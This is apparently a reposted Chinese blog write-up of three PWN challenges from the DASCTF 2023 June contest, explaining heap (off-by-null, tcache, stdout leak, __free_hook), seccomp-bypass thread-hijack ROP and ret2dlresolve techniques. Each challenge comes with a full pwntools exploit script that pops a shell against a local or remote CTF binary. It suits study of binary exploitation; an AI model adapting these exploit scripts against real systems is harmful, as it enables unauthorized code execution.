首页 > 其他分享 >DASCTF 2023六月挑战赛|二进制专项 PWN (下)

DASCTF 2023六月挑战赛|二进制专项 PWN (下)

时间:2024-07-23 16:06:55浏览次数:12  
标签:p64 libc add base io 2023 PWN DASCTF payload

DASCTF 2023六月挑战赛|二进制专项 PWN (下)

1.can_you_find_me

检查保护

意料之中

64位ida逆向

只有add,和del功能不能show

先看add吧

最多申请10个堆块

存在off_by_null漏洞,可以考虑unlink来进行堆块重叠

del函数就没有UAF漏洞了

1.首先想办法泄露出libc地址,因为本题libc是2.27的,所以引入了tcachebin机制,要么申请大堆块要么申请超过7个的小堆块,但是本题有限制申请的数量,结合off——by——null,优先考虑unlink

2.通过unlink,和tcachebin打配合,申请堆块到__IO_2_1_stdout_结构体上修改__IO_write_base_ 字段,由于后面调用了puts,所以会打印很多数据,本地测试是改末尾位\x58到_IO_file_jumps上,根据这个计算偏移

3.接着就是同样的手法打配合,free_hook改为system,进而得到shell。

ps:由于远程高位字节需要爆破,写个循环方便一点(1/16的概率)

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

#io = process('./find')
libc = ELF('/home/su/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so') 
#io = remote('node5.buuoj.cn',27771)

def add(size,msg):
    io.sendlineafter('choice:','1');
    io.sendlineafter('Size:',str(size))
    io.sendlineafter('Data:',msg)


def free(index):
    io.sendlineafter('choice:','2');
    io.sendlineafter('Index:',str(index))

def pwn():
  add(0x410,'aa') #0
  add(0x20,'aa')  #1
  add(0x20,'aa')  #2
  add(0x30,'aa')  #3
  add(0x4f0,'aa') #4
  add(0x20,'/bin/sh\x00') #5
  gdb.attach(io)
  free(0)
  free(3)

  payload = b'a'*0x30 + p64(0x40+0x30+0x30+0x420)
  add(0x38,payload) #0
  #gdb.attach(io)
  free(4)

  free(1)

  add(0x410,'a') #1 
  #gdb.attach(io)
  add(0x10,b'\x60\xc7') #3

  add(0x20,b'a') #4
  payload = p64(0xfbad1887) + p64(0)*3 + b'\x58'
  add(0x27,payload)

  libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['_IO_file_jumps']
  success('libc_base----->'+hex(libc_base))
  free_hook = libc_base + libc.sym['__free_hook']
  system = libc_base + libc.sym['system']
  pause()
  #gdb.attach(io)
  free(0)
  payload = b'a'*0x30 + p64(0) + p64(0x41) + p64(free_hook)
  add(0x60,payload)
  add(0x38,'aaa')
  add(0x38,p64(system))

  free(5)
  io.interactive()

while True:
    try:
        #io = remote('node5.buuoj.cn',27373)
        io = process('./find')
        pwn()
        break;
    except:
        io.close()

2.A dream

程序保护情况

没有开canary和pie保护

64位ida逆向

创建了一个子线程

进去看看

一直打印一句话(wyxy....)

主进程还有一个函数进去看看

一个读取存在8字节的溢出,可以栈迁移

(真那么简单吗?出题人你干了什么,你不开沙箱我们如何对抗ctfers,出题人冷冷一笑,哼,很简单,我保护开满不久好了,说罢出题人便开启了最终保护,让ctfers无处下手)

所以我们先看看沙箱

那么没有open也不能orw了,ida看到这个沙箱是在主线程里面,因此我们可以考虑劫持子线程拿到shell

1.怎么劫持呢?注意到子进程调用了write,那么可以劫持write_got表修改为下面这个地址

2.欸,这不就在子进程开始读取了嘛,直接开炫

3.注意要把主线程sleep起来不然主线程没了更不要说子线程了

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./dream')
#io = remote('node5.buuoj.cn',29280)
elf = ELF('./dream')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('libc6_2.31-0ubuntu9.7_amd64.so')
bss = elf.bss() + 0x100
magic_read = 0x4013AE
payload = b'a'*0x40 + p64(bss+0x40) + p64(magic_read)
io.send(payload)
#gdb.attach(io)
sleep(0.1)
pop_rdi_ret = 0x401483
pop_rsi_r15_ret = 0x401481
leave_ret = 0x40136c
payload = p64(pop_rsi_r15_ret) + p64(elf.got['write']) + p64(0) +p64(elf.plt['read']) 
payload += p64(pop_rdi_ret) + p64(0x1000) + p64(elf.plt['sleep'])
payload = payload.ljust(0x40, b'\x00') + p64(bss-8) + p64(leave_ret)
io.send(payload)
sleep(0.1)
#gdb.attach(io)
io.send(p64(magic_read))

pause()

payload =b'a'*0x30 +p64(pop_rdi_ret) + p64(elf.got['puts']) +p64(elf.plt['puts']) + p64(magic_read)
gdb.attach(io)
io.send(payload)
sleep(0.1)
io.recvuntil('\n')
io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#sleep(0.2)
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
success("libc_base:\t" + hex(libc_base))
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']
ret = 0x40101a
#gdb.attach(io)
pop_rdi_rbp_ret = libc_base + 0x000000000002a745   #+ 0x248f2
thread_stack_rsp_addr = libc_base - 0x4150 + 0x2fa0 - 0x40 -8
success('thread_stack_rop_addr----->'+hex(thread_stack_rop_addr)) 
payload = p64(ret) + p64(pop_rdi_rbp_ret) + p64(bin_sh_addr) + p64(0) +p64(system_addr)
payload = payload.ljust(0x40, b'\x00') + p64(thread_stack_rsp_addr) +p64(leave_ret)
#gdb.attach(io)
io.send(payload)

io.interactive()

3.matchmaking platform

程序保护情况

只给我们留了一个延迟绑定

64位ida逆向

分别有两次机会向0x4140和0x40c0上面写东西

v3是char类型范围-127-128,起始是0,用了do,while,可以加到129,实现溢出变成-128,也就是可以写到0x40c0的位置(这个位置保存了程序里面的一个地址)

思路:1.通过溢出修改最后一位到老朋友_IO_2_1_stdout_结构体上,进而实现数据的泄露,有概率泄露出程序地址

2.因为程序是延迟绑定,通过伪造str_tab,劫持到free延迟绑定劫持到puts_got表上,最后放入参数/bin/sh拿到shell

exp:

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

def pwn():
    io.sendafter("Age >> ", b'\x00' * 0x80 + b'\x80')
    io.sendlineafter("Photo(URL) >> ", p64(0xfbad1887) + p64(0) * 3 + b'\xb0\x5d')
    pie_base = u64(io.recv(6, timeout=0.5).ljust(8, b'\x00')) - 0x40a0
    if (pie_base & 0xfff) != 0:
        exit(-1)
    success("pie_base:\t" + hex(pie_base))
    pause()
    gdb.attach(io)
    payload = b'/bin/sh\x00' + p64(pie_base + 0x4140 - 0x67) + b'system\x00'
    io.sendafter("Name >> ", payload.ljust(0x80, b'\x00') + b'\x08')
    payload = p64(pie_base + 0x8).ljust(0x68, b'\x00') + p64(pie_base + 0x4140) #通过偏移劫持到puts
    io.sendlineafter("Hobby >> ", payload)
    io.interactive()
if __name__ == '__main__':
    while True:
        global io
        try:
            io = process("./matchmaking_platform")
            pwn()
            break
        except:
            io.close()

 

标签:p64,libc,add,base,io,2023,PWN,DASCTF,payload
From: https://www.cnblogs.com/CH13hh/p/18318685

相关文章

  • 2024钉钉杯及2023钉钉杯ABC题分析
    钉钉杯,通常指的是钉钉杯大数据挑战赛,这是一场由阿里巴巴旗下钉钉举办的全国性大数据竞赛。以下是对钉钉杯的详细解析:一、竞赛背景与目的钉钉杯大数据挑战赛旨在通过大数据竞赛的形式,激发学生对大数据技术的兴趣,提升他们的数据分析和数据挖掘能力。同时,该竞赛也为学生提供了一......
  • DASCTF 2023六月挑战赛|二进制专项 PWN (上)
    DASCTF2023六月挑战赛|二进制专项PWN(上)1.easynoteedit函数对长度没有检查free函数存在UAF漏洞思路:1.通过堆溢出,UAF,修改size位达到堆块重叠,使用fastbinattack,把__malloc_hook,写入one_gadget2.通过unlink修改freegot表为systemexp:frompwnimport*context(log_lev......
  • DASCTF 2023六月挑战赛|二进制专项 PWN (上)
    DASCTF2023六月挑战赛|二进制专项PWN(上)1.easynoteedit函数对长度没有检查free函数存在UAF漏洞思路:1.通过堆溢出,UAF,修改size位达到堆块重叠,使用fastbinattack,把__malloc_hook,写入one_gadget2.通过unlink修改freegot表为systemexp:frompwnimport*context(lo......
  • ScaleDet:AWS 基于标签相似性提出可扩展的多数据集目标检测器 | CVPR 2023
    论文提出了一种可扩展的多数据集目标检测器(ScaleDet),可通过增加训练数据集来扩大其跨数据集的泛化能力。与现有的主要依靠手动重新标记或复杂的优化来统一跨数据集标签的多数据集学习器不同,论文引入简单且可扩展的公式来为多数据集训练产生语义统一的标签空间,通过视觉文本对齐进......
  • 2023年度好题(1)
    文章有点长,都是由本人一点一点写出来的,公式加载需要一段时间。CF1152ENekoandFlashback思路来自@apple365。思路任意一组\(b_i,c_i\)都是相邻的两条边,所以我们将\(b_i\)和\(c_i\)连起来,如果可以跑通一条欧拉路径,那么这条欧拉路径上的所有数字就可以组成数组\(a\)......
  • DASCTF暑期挑战赛Reverse
    DosSnake8086汇编代码编写的一个贪吃蛇小游戏使用DosBox运行一下:直接拖进IDA查看汇编代码算了,由于这个程序只给了一个数据段,通过它找到代码加密逻辑(前面一大段的汇编代码都是为了实现贪吃蛇这个小游戏没啥用,我们直接看加密部分即可):逻辑非常简单,aDasctf的前6部分作为key,......
  • DASCTF 2024暑期挑战赛-WEB-Sanic's revenge gxngxngxn
    DASCTF-WEB-Sanic'srevengegxngxngxn写在开篇碎碎念在我上篇文章(https://www.cnblogs.com/gxngxngxn/p/18205235)的结尾,我分享了两点我在寻找污染链的过程中发现的一些新玩意。其中作为本题考点之一的file_or_directory就在其中,没看过的师傅可以看一眼(orz。而本题主要考点的......
  • 塔子哥的最大数组-美团2023笔试(codefun2000)
    题目链接塔子哥的最大数组-美团2023笔试(codefun2000)题目内容塔子哥有一个长度为n的数组a,默认的求和方式是将a中所有元素加起来。但是塔子哥有一种技能,可以将求和的其中一次加法转换为乘法操作。在这种情况下,数组a的最大和为多少。输入描述第一行,一个正整......
  • DASCTF 2024暑期挑战赛------1z_RSA
    题目:fromCrypto.Util.numberimport*fromsympyimport*importosfromsecretsimportflagnbit=130e=3l=getPrime(505)m=bytes_to_long(flag+os.urandom(64))assertlen(flag)==29whileTrue:p,q=getPrime(nbit),getPrime(nbit)PQ=......
  • GESP C++ 二级真题(2023年12月)T1 小杨做题
    问题描述:为了准备考试,小杨每天都要做题。第一天做了a道题;第二天做了b道题;从第三天起,小杨每天做的题目数量是前两天的总和。此外,小杨还规定当自己某一天做了大于或等于m题时,接下来的日子,他就不做题了。请问到了第n天,小杨总共做了多少道题?输入描述:总共4行。第一行一个整数a,......